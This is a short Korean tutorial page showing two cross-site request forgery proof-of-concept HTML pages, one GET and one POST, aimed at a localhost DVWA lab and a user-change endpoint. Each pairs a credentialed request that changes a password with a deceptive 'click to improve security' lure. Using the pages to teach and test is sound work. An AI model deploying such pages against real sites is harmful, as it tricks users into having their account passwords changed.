Security

CSRF

csrf 예제

CSRF


아래는 Java Script Ajax를 이용한 CSRF 예제 이다.

- GET 방식인 경우

csrf_get.html
Copy
<html>
<meta charset="UTF-8">
<head>
</head>
<script language="javascript">

  function poc() {

    var host='localhost';

    var req_uri = "http://" + host + "/dvwa/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change";
    var xmlhttp = new XMLHttpRequest();

    xmlhttp.open("GET",req_uri,true);
    xmlhttp.withCredentials = "true";

    xmlhttp.send();

    alert('Done!!');
  }
</script>

<body>
(CSRF 공격 예제)<br />
이 링크를 누르시면 보안이 강화됩니다!!<br />
<a href="javascript:poc()">Click!</a><br />
</body>
</html>

- POST 방식인 경우

먼저 Burp Suite로 웹서버로 전송되는 파라미터 값들을 확인하자.

csrf_post.html
Copy
<html>
<meta charset="UTF-8">
<head>
</head>

<script language="javascript">

  function poc() {

    var host='localhost';

    const formData = new FormData();
    formData.append('pw', 'hacker');
    formData.append('pwc', 'test2');
    formData.append('name', 'test1');
    formData.append('address', 'addr1');

    var req_uri = "https://" + host + "/_userChange.php";
    var xmlhttp = new XMLHttpRequest();

    xmlhttp.open("POST",req_uri,true);
    xmlhttp.withCredentials = "true";

    xmlhttp.send(formData);

    alert('Done!!');
  }

</script>

<body>
(CSRF 공격 예제)<br />
이 링크를 누르시면 보안이 강화됩니다!!<br />
<a href="javascript:poc()">Click!</a><br />
</body>
</html>